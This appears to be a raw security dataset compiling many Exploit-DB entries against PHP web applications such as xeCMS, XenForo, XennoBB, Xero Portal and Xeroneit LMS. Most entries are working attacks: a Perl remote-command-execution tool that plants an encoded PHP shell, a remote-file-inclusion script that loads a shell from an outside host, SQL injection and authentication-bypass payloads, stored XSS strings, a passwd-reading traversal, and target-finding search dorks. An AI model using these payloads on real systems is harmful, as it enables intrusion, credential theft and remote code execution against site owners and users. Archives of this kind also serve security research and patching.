deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27797
Description: XDT Pro 2.3 - 'stats.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-02
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/17781/info

XDT Pro is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

XDT Pro version 2.3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/topsite/stats.php?id=1<script>alert(document.cookie)</script>
Exploit-DB #1459
Description: xeCMS 1.0.0 RC 2 - 'cookie' Remote Command Execution
Type: webapps
Platform: php
Date: 2006-01-30
Author: cijfer

Exploit:
#!/usr/bin/perl
#
# xeCMS 1.0.0 RC 2 Remote Command Execution Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti!fi>
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to 'http://target.com/dir'
# cijfer$ 
#
# greets to JagX
#
# $Id: cijfer-xecmsxpl.pl,v 0.1 2006/01/29 22:13:00 cijfer Exp $

use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;
use HTTP::Cookies;

$res  = GetOptions("host=s" => \$host, "proxy=s" => \$proxy, "verbose+" => \$verbose);
&usage unless $host;

while()
{
	print color("green"), "cijfer\$ ", color("reset");
	chomp($command = <STDIN>);
	exit unless $command;
	if($command =~ m/^http:\/\/(.*)/g)
	{
		$host="http://".$1;
		print "host changed to '";
		print color("bold"), $host."'\n", color("reset");
	}
	&exploit($command,$host);
}

sub usage
{
	print "xeCMS 1.0.0 RC 2 Remote Command Execution Exploit\n";
	print "usage: $0 -hpv\n\n";
	print "  -h --host\tfull address of target (ex. http://www.website.com/directory)\n";
	print "  -p --proxy\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
	print "  -v --verbose\tverbose mode\n\n";
	exit;
}

sub exploit
{
	my($command,$host) = @_;

	$cookie_h=$host;
	$cookie_h=~s/http:\/\/(.*?)\/.*/$1/;

	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101");
	$cij->proxy("http", "http://".$tunnel."/") unless !$proxy;
	$cij->cookie_jar(HTTP::Cookies->new());
	$cij->cookie_jar->set_cookie("1","xecms_username","cijfer","/",$cookie_h,,,,,);
	$cij->cookie_jar->set_cookie("1","xecms_password","cijfer","/",$cookie_h,,,,,);

	$string  = "%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F%3B";
	$string .= uri_escape(shift);
	$string .= "%3B%20%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F";
	$execut  = "%3C%3F%24%68%61%6E%64%6C%65%3D%70%6F%70%65%6E";
	$execut .= "%28%24%5F%47%45%54%5B%63%69%6A%5D%2C%22%72%22";
	$execut .= "%29%3B%77%68%69%6C%65%28%21%66%65%6F%66%28%24";
	$execut .= "%68%61%6E%64%6C%65%29%29%7B%24%6C%69%6E%65%3D";
	$execut .= "%66%67%65%74%73%28%24%68%61%6E%64%6C%65%29%3B";
	$execut .= "%69%66%28%73%74%72%6C%65%6E%28%24%6C%69%6E%65";
	$execut .= "%29%3E%3D%31%29%7B%65%63%68%6F%22%24%6C%69%6E";
	$execut .= "%65%22%3B%7D%7D%70%63%6C%6F%73%65%28%24%68%61";
	$execut .= "%6E%64%6C%65%29%3B%3F%3E";

	$out=$cij->post($host."/index.php?a=add&submit=1",['autobr'=>'no', 'content'=>uri_unescape($execut), 'id'=>'cijfer', 'id_nav'=>'cijfer'],);
	$out=$cij->get($host."/index.php?p=cijfer&cij=".$string);

	if($out->is_success)
	{
		@cij=split("_cijfer_",$out->content);
		print substr(@cij[1],1);
	}
	if($verbose)
	{
		$recv=length $out->content;
		print "Total received bytes: ".$recv."\n";
		$sent=length $command;
		print "Total sent bytes: ".$sent."\n";
	}
}

# milw0rm.com [2006-01-30]
Exploit-DB #5818
Description: xeCMS 1.0.0 RC2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-06-14
Author: t0pP8uZz

Exploit:
-[*]+================================================================================+[*]-
-[*]+	          xeCMS <= 1.0.0 RC2 Insecure Cookie Handling Vulnerability	     +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 18 MAY 2008
[*] Script Download: http://downloads.sourceforge.net/phpforume
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

	xeCMS suffers from a insecure cookie, the admin panel only checks if the cookie exists.
	and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

	javascript:document.cookie = "xecms_username=1; path=/"; document.cookie = "xecms_password=1; path=/";



[*] NOTE/TIP: 

	after running the javascript, visit "/admin.php" to view admin area.
	
	you can also upload a shell thru the admin area's upload feature.



[*] GREETZ: 

	milw0rm.com, h4ck-y0u.org, CipherCrew !



[-] peace, 

	t0pP8uZz



-[*]+================================================================================+[*]-
-[*]+	          xeCMS <= 1.0.0 RC2 Insecure Cookie Handling Vulnerability	     +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-06-14]
Exploit-DB #4758
Description: xeCMS 1.x - 'view.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-12-19
Author: p4imi0

Exploit:
--------------------------------------------------------------
xeCMS 1.x.x Remote File Disclosure Vulnerability.
--------------------------------------------------------------

download    : http://xecms.sunsite.dk/
author      : p4imi0
contact     : p4imi0@gmail.com
exploit     : view.php?list=..%2F..%2F.. %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
google dork : inurl:"view.php?list=" Powered by xeCMS
thanks to   : str0ke, Cr[]w.

# milw0rm.com [2007-12-19]
Exploit-DB #39849
Description: XenAPI 1.4.1 for XenForo - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2016-05-23
Author: Julien Ahrens

Exploit:
[RCESEC-2016-002] XenAPI v1.4.1 for XenForo Multiple Unauthenticated SQL Injections

RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        XenAPI for XenForo
Vendor URL:     github.com/Contex/XenAPI
Type:           SQL Injection [CWE-89]
Date found:     2016-05-20
Date published: 2016-05-23
CVSSv3 Score:   7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVE:            -


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
XenAPI for XenForo v1.4.1
older versions may be affected too but were not tested.


4. INTRODUCTION
===============
This Open Source REST API allows usage of several of XenForo's functions, 
such as authentication, user information and many other functions!

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The plugin "XenAPI" for XenForo offers a REST Api with different functions
to query and edit information from the XenForo database backend. Amongst 
those are "getGroup" and "getUsers", which can be called without 
authentication (default) and since the application does not properly 
validate and sanitize the "value" parameter, it is possible to inject 
arbitrary SQL commands into the XenForo backend database.

The following proof-of-concepts exploit each vulnerable REST action
and extract the hostname of the server:

https://127.0.0.1/api.php?action=getUsers&value=' UNION ALL SELECT
CONCAT(IFNULL(CAST(%40%40HOSTNAME AS CHAR)%2C0x20))%2CNULL%23

https://127.0.0.1/api.php?action=getGroup&value=' UNION ALL SELECT
NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT(IFNULL(CAST(%40%40HOSTNAME AS
CHAR)%2C0x20))%2CNULL%23


6. RISK
=======
The vulnerability allows remote attackers to read sensitive information 
from the XenForo database like usernames and passwords. Since the affected 
REST actions do not require an authentication hash, these vulnerabilities 
can be exploited by an unauthenticated attacker.


7. SOLUTION
===========
Update to the latest version v1.4.2


8. REPORT TIMELINE
==================
2016-05-20: Discovery of the vulnerability
2016-05-20: Notified vendor via contact address
2016-05-20: Vendor provides update for both issues
2016-05-21: Provided update fixes the reported issues
2016-05-21: Vendor publishes update
2016-05-23: Advisory released


9. REFERENCES
=============
https://github.com/Contex/XenAPI/commit/00a737a1fe45ffe5c5bc6bace44631ddb73f2ecf
https://xenforo.com/community/resources/xenapi-xenforo-php-rest-api.902/update?update=19336
Exploit-DB #51547
Description: Xenforo Version 2.2.13 - Authenticated Stored XSS
Type: webapps
Platform: php
Date: 2023-06-26
Author: Furkan Karaarslan

Exploit:
# Exploit Title: Xenforo Version 2.2.13 - Authenticated Stored XSS
# Date: 2023-06-24
# Exploit Author: Furkan Karaarslan
# Category : Webapps
# Vendor Homepage: https://x.com/admin.php?smilies
# Version: 2.2.12 (REQUIRED)
# Tested on: Windows/Linux
# CVE : 

-----------------------------------------------------------------------------
Requests

POST /admin.php?smilie-categories/0/save HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?smilies/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]638543422
Content-Length: 1038
Origin: http://127.0.0.1
Connection: close
Cookie: xf_csrf=aEWkQ90jbPs2RECi; xf_session=yCLGXIhbOq9bSNKAsymJPWYVvTotiofa; xf_session_admin=wlr6UqjWxCkpfjKlngAvH5t-4yGiK5mQ
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

----------------------------[PII_REDACTED][PII_REDACTED]638543422
Content-Disposition: form-data; name="_xfToken"
[PII_REDACTED],83fd[PII_REDACTED]281e51b17e20fe575b
----------------------------[PII_REDACTED][PII_REDACTED]638543422
Content-Disposition: form-data; name="title"

<img src=x onerror=alert(document.domain)>
----------------------------[PII_REDACTED][PII_REDACTED]638543422
Content-Disposition: form-data; name="display_order"

1
----------------------------[PII_REDACTED][PII_REDACTED]638543422
Content-Disposition: form-data; name="_xfRequestUri"

/admin.php?smilies/
----------------------------[PII_REDACTED][PII_REDACTED]638543422
Content-Disposition: form-data; name="_xfWithData"

1
----------------------------[PII_REDACTED][PII_REDACTED]638543422
Content-Disposition: form-data; name="_xfToken"
[PII_REDACTED],b74724a115448b864ba2db8f89f415f5
----------------------------[PII_REDACTED][PII_REDACTED]638543422
Content-Disposition: form-data; name="_xfResponseType"

json
----------------------------[PII_REDACTED][PII_REDACTED]638543422--


Response: After it is created, an alert comes immediately.
Exploit-DB #8414
Description: XEngineSoft PMS/MGS/NM/Ams 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-13
Author: Dr-HTmL

Exploit:
-----------------------------------------------------Iam MusLiM-----------------------------------
 

==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                           
==============================================================================
XeS PMS/MGS/NM/AMS 1.0  (Auth Bypass) Remote Sql Injection
-----------------------------------------------------
Founder: Dr-HTmL
Home: www.h4ckf0ru.com
Vive Algerie
# HOME :http://www.xenginesoft.com

Note : Hadi Bedaya Wa Mazal Mazal
mail: Dark.Dz[at]hotmail[dot]fr
-----------------------------------------------------------
-----------------------------------------------------------
DD)
---
Username: ' or '1=1
Password: ' or '1=1
-----------------------------------------------
demo:
----
http://www.xenginesoft.com/
------------------------------------------------------
Thanx  :
           ThE g0bL!N (My best Friend) - M0nSt3r-Dz - Mast3r_Fin@L -  Super Cristal - Hcoca_Man - Dreadful 
           Yassine_Enp - ViRuS_HaCkEr_Dz-   Mr.JOoMJOoM  -  Naili-  kader-Dz    Tryag-TeaM 
	   Str0ke - Milw0rm.com
------------------------------------------------------------------------------------
www.h4ckf0ru.com/vb/
------------------------------------------------------------------------------------

# milw0rm.com [2009-04-13]
Exploit-DB #28364
Description: XennoBB 1.0.5/1.0.6/2.1/2.2 - 'profile.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-08-09
Author: Chris Boulton

Exploit:
source: https://www.securityfocus.com/bid/19446/info

XennoBB is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

XennoBB 2.1.0 and earlier are vulnerable to this issue; other versions may also be affected.

http://www.example.com/profile.php?action=avatar_gallery&id={your registered user ID here}/category=../../general/
Exploit-DB #28406
Description: XennoBB 1.0.x/2.2 - Icon_Topic SQL Injection
Type: webapps
Platform: php
Date: 2006-08-19
Author: Chris Boulton

Exploit:
source: https://www.securityfocus.com/bid/19606/info

XennoBB is prone to an SQL-injection vulnerability that could allow an attacker to influence the structure or logic of SQL queries made by the application.

--------------------- EXPLOIT ---------------------

Submit a forged POST request to

topic_post.php?action=post&fid={forum ID here}

With the following as the POST data:

form_sent=1&form_user={username
here}&req_subject=Subject&req_message=Message&submit=1&icon_topic=[SQL]

Successful exploitation leads would lead to the SQL query in the
icon_topic
parameter being run.
Exploit-DB #28347
Description: XennoBB 2.1 - 'profile.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-08-07
Author: Chris Boulton

Exploit:
source: https://www.securityfocus.com/bid/19374/info

XennoBB is prone to multiple SQL injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful attack could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

These issues affect version 2.1.0; earlier versions may also be vulnerable.

Submitting the following as a POST request to profile.php is sufficient to exploit these issues and gain administrative privileges:

form_sent=1&form[sex]=a&bday_day=1&bday_month=2&bday_year=", group_id=1, birthday="
Exploit-DB #36236
Description: Xenon - 'id' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-10-14
Author: m3rciL3Ss

Exploit:
source: https://www.securityfocus.com/bid/50141/info

Xenon is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/news_detail.php?id=-9+union+select+0,1,2,3,group_concat%28table_name%29,5+from+information_schema.tables

http://www.example.com/viewstory.php?id=-8+and+1=1+union+select+0,1,2,group_concat%28column_name%29,4+from+information_schema.columns+where+table_name=0x[PII_REDACTED]

http://www.example.com/event.php?id=-153+union+select+0,1,2,3,4,5,6,7,8,group_concat%28table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables
Exploit-DB #35396
Description: xEpan 1.0.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-11-28
Author: Parikesit _ Kurawa

Exploit:
# Exploit Title: Multiple Vulnerability xEpan 1.0.4
# Google Dork: not yet
# Date: 2014-11-27
# Exploit Author: Parikesit , Kurawa In Disorder
# Vendor Homepage: http://xepan.org
# Software Link: http://www.xepan.org/index.php?subpage=download
# Version: 1.0.4
# Tested on: Windows 7 Ultimate
# Vulnerability Type: File Upload
# Risk Level: High
# Solution Status: Not Fixed
# Discovered and Provided: Kurawa In Disorder ( http://kurawa.indonesianbacktrack.or.id ) , Indonesian Backtrack Team ( http://indonesianbacktrack.or.id )

-----------------------------------------------------------------------------------------------

Advisory Details:

xEpan have elfinder which can exploited to upload a backdoor

1.) vulnerable page : http://target/elfinder/elfinder.html
Just upload your php backdoor 
and acess there http://target/elfinder/files/<backdoor_name>

2.) leak database information : http://target/install.sql
after installation the script not remove the .sql file it's can be danger

3.) important file , like ftp password stored in a public file : http://target/ftpsync.settings
very danger , how to prevent just use a private privilages or delete the file

4.) weak password used : http://target/index.php?page=owner_dashboard
admin:admin ... :o 

-----------------------------------------------------------------------------------------------
Exploit-DB #3192
Description: Xero Portal - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-24
Author: Mehmet Ince

Exploit:
#(C) XORON - 2007
#
# [Bug name: Xero Portal v1.2 (phpbb_root_path) Local File Include Vulnerablity
#
# [Script Name: Xero Portal v1.2
#
# [Wrong Codes:  require($phpbb_root_path . 'includes/bbcode.'.$phpEx);
#
# [Exploit: 
# www.[target].com/[script_pat]/admin/admin_linkdb.php?phpbb_root_path=http://evilscripts?
# www.[target].com/[script_pat]/admin/admin_forum_prune.php?phpbb_root_path=http://evilscripts?
# www.[target].com/[script_pat]/admin/admin_extensions.php?phpbb_root_path=http://evilscripts?
# www.[target].com/[script_pat]/admin/admin_board.php?phpbb_root_path=http://evilscripts?
# www.[target].com/[script_pat]/admin/admin_attachments.php?phpbb_root_path=http://evilscripts?
# www.[target].com/[script_pat]/admin/admin_users.php?phpbb_root_path=http://evilscripts?
#
# [xoron.biz - xoron.info]
# 
# [Greetz: str0ke, kacper, k1tkat, SHiKAa 
#
# [Tesekkurler: chaos, pang0, DJR, Dr Max Vir.s ;)
#
$rfi = "admin_linkdb.php?phpbb_root_path="; 
$path = "/admin/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac.k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron // www.xoron.biz\n$thx: chaos, pang0, str0ke, kacper, DJR, bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-01-24]
Exploit-DB #48328
Description: Xeroneit Library Management System 3.0 - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2020-04-15
Author: Sohel Yousef

Exploit:
# Exploit Title: Xeroneit Library Management System 3.0 - 'category' SQL Injection
# Google Dork: "LMS v3.0 - Xerone IT "
# Date: 2020-04-09
# Exploit Author: Sohel Yousef jellyfish security team
# Software Link:
https://xeroneit.net/portfolio/library-management-system-lms
# Software Demo :https://xeroneit.co/demo/lms/home/login
# Version: v3.0
# Category: webapps

1. Description
scritp has SQLI in books category at this dir

/lms/home/book?category_name=00*SQLI

Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '0' GROUP BY
`title`, `author`, `edition` ORDER BY `title` ASC LIMIT 21' at line 3

SELECT sum(cast(cast(book_info.status as char) as SIGNED)) as
available_book, `book_info`.`number_of_books`, `book_info`.`id`,
`book_info`.`category_id`, `book_info`.`title`, `book_info`.`size1` as
`size`, `book_info`.`publishing_year`, `book_info`.`publisher`,
`book_info`.`edition_year`, `book_info`.`subtitle`, `book_info`.`edition`,
`book_info`.`isbn`, `book_info`.`author`, `book_info`.`cover`,
`book_info`.`add_date` FROM `book_info` WHERE FIND_IN_SET('57'',
category_id) !=0 AND `book_info`.`deleted` = '0' GROUP BY `title`,
`author`, `edition` ORDER BY `title` ASC LIMIT 21

Filename: models/Basic.php

Line Number: 284
Exploit-DB #49292
Description: Xeroneit Library Management System 3.1 - _Add Book Category _ Stored XSS
Type: webapps
Platform: php
Date: 2020-12-18
Author: Kislay Kumar

Exploit:
# Exploit Title:  Xeroneit Library Management System 3.1 - "Add Book Category " Stored XSS
# Exploit Author: Kislay Kumar
# Date: 2020-12-18
# Vendor Homepage: https://xeroneit.net/
# Software Link: https://xeroneit.net/portfolio/library-management-system-lms
# Affected Version: Version 3.1
# Tested on: Kali Linux

Step 1. Login to the application as Admin.

Step 2. Select "Book" from menu and click on "Book Category" . Now , click
on "Add" Button.

Step 3. Insert payload - "><img src onerror=alert(1)> ,  in "Category Name"
and Save it.

Step 4. Now you will see an alert box .
Exploit-DB #9850
Description: Xerox Fiery Webtools - SQL Injection
Type: webapps
Platform: php
Date: 2009-11-03
Author: Bernardo Trigo

Exploit:
Hello i am from portugal and i would like to report a new  
vulnerability in Xerox Fiery Webtools. The probleam is in /wt3/ 
summary.php?select= if you and ' you have the possibility to exploit  
this condition to inject SQL code.

Already have contact the vendor

best regards

Bernardo Trigo

Qualidade e Seguran&#65533;a
Centro de Inform&#65533;tica Prof. Correia de Ara&#65533;jo (CICA)
Faculdade de Engenharia da Universidade do Porto (FEUP)

AVISO LEGAL

Esta mensagem &#65533; confidencial e dirigida apenas ao destinat&#65533;rio. Se a  
recebeu por erro solicitamos que o comunique ao remetente e a elimine  
assim como qualquer documento anexo. N&#65533;o h&#65533; ren&#65533;ncia &#65533;  
confidencialidade nem a nenhum privil&#65533;gio devido a erro de transmiss&#65533;o.
Qualquer opini&#65533;o expressa nesta mensagem pertence unicamente ao autor  
remetente, e n&#65533;o representa necessariamente a opini&#65533;o a n&#65533;o ser que  
expressamente se diga que o remetente est&#65533; autorizado para o efectuar.



DISCLAIMER

This message is confidential and intended exclusively for the  
addressee. If you received this message by mistake please inform the  
sender and delete the message and attachments. No confidentiality nor  
any privilege regarding the information is waived or lost by any  
mistransmission.
Any views or opinions contained in this message are solely those of  
the author, and do not necessarily represent , unless specifically  
stated and the sender is authorized to do so.